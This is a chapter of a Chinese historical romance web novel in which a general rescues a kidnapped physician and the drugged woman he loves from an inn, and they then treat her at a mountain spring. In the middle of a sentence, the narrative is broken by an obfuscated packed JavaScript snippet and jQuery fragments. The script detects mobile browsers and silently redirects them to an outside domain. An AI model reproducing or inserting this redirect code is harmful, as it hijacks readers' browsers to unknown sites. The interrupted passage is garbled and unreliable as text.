67. 解药

作品:《大将军对我念念不忘

    江枫睁开眼醒来之时,入目却是极为陌生的景象,他惊恐地发现自己被五花大绑扔在了床榻上,观这屋内的摆放与陈设,应该是在一家客栈内。


    那行人将他绑架到客栈究竟意欲何为?


    这事还需要从苏怀黎给他写的那封信说起。


    自从他得知花栩成了皇后娘娘身边的大红人,复仇计划就被有意识地延缓了。


    祝无恙临别前的那句劝告警醒了他,留得青山在,不怕没柴烧,被复仇深深桎梏的心,不仅可能会害他丢了性命,更会害了江南,于是他决定冷静下来,重新寻找机会。


    直至皇后意外的死讯传来,花栩成了臭名昭著的通缉犯,他知道,复仇的时机来了。


    祝无恙百忙之中派人告知他,花栩现在就躲在贺绍府上,不料他尚未厘清出一个万全之策时,却率先收到苏怀黎传来的那封信。


    若是放在江不朽刚去世那会儿,他会固执地留在京中,趁着城中起兵大乱之时,杀了花栩以报血海深仇。


    但现在他想清楚了,若冒着失去唯一亲人的风险去复仇,不值得。


    于是他带着江南马不停蹄地赶回汝县。


    这天底下没有比往生堂更安全的容身之所,哪怕贺绍起兵作乱,隐蔽在往生山上的居所也不会被危及。


    但令他头疼的是,刚出京城到汝县不久,他与江南就被一行不明身份之人盯上了,为了保证江南的安全,他立刻计划两人分头行动。


    他下了死命令,不许江南回头寻他,如果顺利的话,江南这会儿应该已经到往生堂了。


    但他就没那么幸运了,昏迷前后脑中了歹人的狠狠一击,现在虽然是清醒了,但是后脑那块依旧疼得要裂开。


    他的双手被粗麻紧紧地反绑在腰部,双腿也被紧绑在床榻的尾部,整个人都动弹不得。


    他也很快发现,自己现在浑身绵软无力,根本没有力气脱困。


    不用把脉就能猜得到七八分,自己是被下了重度蒙汗药,幸亏提前吃了解药,否则根本抵挡不住这致死量的蒙汗药,若是没有解药,恐怕得沉沉地睡个三四天才能清醒。


    正思索着,屋子的门突然被重重踢开,来人嘴上叼了一个牙签子,一副酒足饭饱之态,那人朝着一旁熟睡不知多久的同伴吆喝一声:“哎,起来了,咱俩换班。”


    江枫猜测,这两人应该是雇主找的打手,满脸横肉,膀大腰粗。


    与此同时,客栈一楼。


    一位身着暗玄色束腰长袍,腰间别着一把长剑的男子迈步走了进来。


    男子生得冷峻无俦,体态昂然,除了脸色有些许异于常人的苍白之外,浑身上下都透露着气质不俗这四个字。


    寻常百姓见到这等人物,都会不由自主地起三分尊敬。


    但当掌柜的无意间瞥见他后背处那一道深深的剑伤时,不由得倒吸一口冷气,他暗暗哀嚎:他最近是造了什么孽啊,店里接二连三地惹了这些奇怪的客人。


    先是乌央乌央的一帮人,扛着昏迷的一男一女进店,现在又是这个身负剑伤,出手阔绰的男人,随手掏出腰中的一锭银子,扔给他:“给我安排一间房。”


    掌柜的顿时冷汗就下来了:“客官,小店现在已经满客了,您看要不,您还是再找一家客栈?”


    祝无恙眉眼间浮现淡淡的不满和疑惑,这开在方圆十里尽是荒地,鸟来了都不愿意拉屎的地儿的客栈,竟然还能满客?


    他好不容易死里逃生,想找一家客栈歇息片刻,还能碰到这等稀罕事。


    祝无恙不动声色抬起右手轻轻按在右侧的剑柄上,那些因为背部重伤导致的疼痛而忽略的细节,此刻全都想起来了。


    他进店时,门口两个彪形大汉好似门神一样,一动不动杵在店门口。


    这店中是来了何等尊贵的客人,还需雇两个壮汉当打手?


    这店中三三两两的客人,散落在不同角落,根本不像是掌柜说的热闹满客的样子。


    他背上的剑伤泛着淡淡的血腥味,因为伤口与衣服颜色极为相似,站在远处的人很难发现,所以,在角落的客人只是不约而同地用不怀好意的眼神打量着他,还未上前。


    但他已经察觉到了酽浓的杀意。


    *


    换班的人进来之时,江枫立刻阖上双眼,佯装自己还是昏迷的状态。


    被叫醒的那个同伴并没有马上出去,二人闲聊了几句,江枫从只言片语中敏锐捕捉到了“侯爷,公子”这些零星的字,顿时厘清幕后之人的身份。


    一时间,竟也搞不清花栩葫芦里卖的什么药,既然他的踪迹已经暴露了,花栩何必大费周章地找人抓他,又是下蒙汗药,一剑杀了岂不是更痛快?


    正当他往下思索时,外头突如其来骚动惊扰到了屋内的二人,起先是一人出去打探情况,而后招呼着同伴一起出去。


    看来是客栈来了一个不速之客,这于江枫来说,简直是救命恩人。


    他使劲浑身力气拼命地蹬绑在双脚的绳子,幸亏屋外的动静足够大,很好地掩盖了他怒踢床板的声音。


    当双脚的麻绳有些松动之时,屋子的木门轰然倒塌,原是两个守着他的人被狠狠地踹翻在地。


    祝无恙一脸面无表情地走了进来,也懒得和这二人周旋,见血封喉。


    江枫抬头一看,喜道:“祝将军,竟然是你?!”


    祝无恙也没想到,江枫竟然被绑着关在这间屋子,他忍着大动干戈而导致伤口裂开的疼痛,先替江枫解开腿上的麻绳,继而来到后背。


    “江大夫,这究竟是怎么一回事?难不成这群人是花栩派来绑你的?”


    “不错,是他,”江枫肯定道,“刚刚我听这两人提到了什么侯爷,又提到江公子,是贺绍和花栩没错了。”


    祝无恙手下一顿,不禁疑惑道:“那他为什么只是绑了你,而不是杀你灭口。”


    江枫:“……我也觉得奇怪。”


    禁锢的双手很快就被松开,江枫正准备起身,突然想起一事:“不对!”


    他脑子突然闪过一个可怕的猜想:“刚刚这两人说了隔壁还有绑个人,好像还是个姑娘,不会是……”


    “你说什么?!”


    祝无恙淡漠冷静的脸色陡然变得凝重阴鸷,抛下江枫二话不说抄起剑夺门而出。


    江枫被绑的地方是客栈的二楼,往栏杆外一看倒了一地的人,个个鼻青脸肿,死的死伤的伤。


    估计是忌惮祝无恙的武力,不远处拐角那个鬼鬼祟祟的男子一见到他就一溜烟跑了。


    祝无恙面色难看到极点,黑沉沉的双眸充斥着凌冽的杀意,身染鲜血,周遭的温度降至冰点,仿佛从地狱而来的活阎罗。


    客栈二楼也不过四五间屋子,江枫在最西边的屋子,只有两人把守,其余人几乎全都安排在了东边的屋子。


    可见这位姑娘对花栩来说尤为“重要”。


    这个念头让祝无恙感觉极度难受,他没有心思和这些杂碎浪费时间拉扯,干脆动用内力,招招毙命。


    推开门后,他很快捕捉到了床上一抹单薄消瘦的身形。


    霎时间,屋内的杀意更甚。


    最后一个企图跳窗逃跑的人,被飞过的断魂剑穿喉而死。


    大感不妙的江枫紧随祝无恙的脚步进了屋子,他赶忙跑到那位熟悉的女子跟前,出于大夫的本能,抬手抵着额头一试,果真烫得吓人。


    待一个不留地处理完这些杂碎后,祝无恙焦急地把昏迷不醒的女子扶起来,揽入怀中,他已经感觉到了她异于常人的体温,眼中充斥着慌乱:“阿黎,你快醒醒!”


    但无论怎么喊,怀中的人丝毫不得反应。


    江枫腹诽,显然,苏怀黎也被下了药,可仅是普通的蒙汗药并不会引发人体高热,比起祝无恙,他虽还算得上镇静,但替她把完脉之后,面色也变得尤为难看。


    祝无恙急道:“人怎么样了?!”


    江枫若有所思地摇了摇头,面色凝重:“情况不太好,当务之急是要尽快为苏小姐退热。”


    此时,惊得一身冷汗的掌柜的不知从何处冒了出来:“少、少侠,手下留情……”


    祝无恙下手果断,招招毙命,但也不是滥杀无辜之人,他抬手朝掌柜的扔了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15555558|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    一锭更大的银子,喝道:“马上让伙计端一盆冷水进来!”


    掌柜的如蒙大赦,连滚带爬去取水。


    祝无恙目下焦急如焚,心如擂鼓,他紧紧地抱着怀中的人,生怕她下一刻就会从自己身边消失。


    明明已经将一切事宜都安排妥当,霜月差人给他传话,苏怀黎与苏家一行人早就安全无虞地离开京城,为何她还会被绑至此?!


    无尽的懊恼和悔恨将他沉沉地淹没,是他的错,他不应该将她推离自己,交到别人的手中,早知如此,他拼尽全力也要将人留在自己的身边。


    祝无恙垂首看她,眸中淬着猩红的泪光,颤着唇轻轻抵着她的额头,而怀中的人却浑然不知。


    好在江枫对汝县的的地形十分熟悉,他很快就知道了三人所处的地方,加上客栈老板的佐证,他肯定道:“我们现在就在往生山下不远处,这群人是想把我和苏小姐绑回京城,所以绕路来了这家客栈,只要我们上了山,山上的寒泉可解苏小姐的高热。”


    事不宜迟,祝无恙用冷帕为苏怀黎简单地擦拭之后,三人便出发上了山,有江枫的带路,三人很快就抵达了往生堂。


    江南到往生堂不过一两日,一直担心着杳无音讯的师父,左盼右盼终于见到了上山的三人,他欣喜若狂。


    山上的寒泉是专门为伤病之人准备的,比普通的药浴更能疗骨生肌,祛除病邪。


    江不朽还在时,时常会将山下重病之人带回往生堂医治,只要泡上几个时辰的寒泉,病症便能够消除大半。


    在伤病面前,本就没什么忌讳,更何况江枫深知祝无恙与苏怀黎关系匪浅,他将二人带到寒泉之地,交代完事宜后便急忙与江南研究解药去了。


    祝无恙小心翼翼地褪下苏怀黎的外衣,将她抱进泉中。


    身后斑驳的剑伤浸入水中后瞬间漫起入骨的疼,仿佛要将人撕裂一般,但他丝毫不在意。


    灵泉被染上浅淡的腥红,他也顾不了这么多,只紧紧地将苏怀黎拥入怀中,以防她沉溺在水中。


    直到怀中的人终于浮现出似是痛苦的神情。


    见苏怀黎有了细微清醒的征兆,祝无恙又急又喜:“阿黎,阿黎……快醒醒。”


    昏迷的苏怀黎有了挣扎的迹象,但却迟迟未能睁开眼,她无意识地喃喃着模糊不清的话语。


    祝无恙俯耳贴着她的唇,听到她说冷。


    她浑身湿濡地被抱出灵泉,很快擦拭干净,换上干燥的衣物。


    “幸亏有这眼寒泉,苏小姐的高温能够及时褪去,病症已经控制住了。”


    江枫深深地叹了口气,如是说道。


    仅仅是控制住,并非是彻底好转。


    祝无恙紧蹙的眉头始终未曾舒展:“那她什么时候能清醒?那些人究竟给她下了什么毒?”


    在山下时,江枫就已经为苏怀黎诊过脉,当时的他简直难以置信,目下他依旧神色复杂:“他们给苏小姐喂的不是毒药,而是……解药。”


    这话说出口,就连江枫本人都无法相信,可事实就是如此。


    祝无恙朝他投来质疑的目光。


    江枫深吸一口气:“几个月前,苏小姐找到我,希望我能解了她体中的断尘草,但我告诉她断尘草世间无解,不过若是能修炼自身的内力,说不定能有一线希望,实际上,我隐瞒了部分实情。”


    “断尘草有解药,但解药的药效堪称毒药,服药之人全身经脉逆行,堪比鬼门关走一遭,若是内力撑不过去,服药者必会力竭而亡,此法过于冒险,我担心苏小姐一意孤行,便自作主张瞒下此事,她当时的身体状况,服下解药必死无疑。”


    祝无恙眸底翻腾着浓浓的惊慌,险些站不稳,嗓音几乎嘶哑:“那现在呢?!”


    苏怀黎的内力他最是清楚,因小时候有练剑的底子,虽说内力还没有修炼到炉火纯青的地步,但还是比普通人深厚许多。


    他尚且抱着一丝希望,或许情况没有想象中那么严重。


    江枫眉心紧锁,依旧没有十成的把握,他望着床榻上躺着的人,叹息道:“能不能醒来,只能看她的造化了。”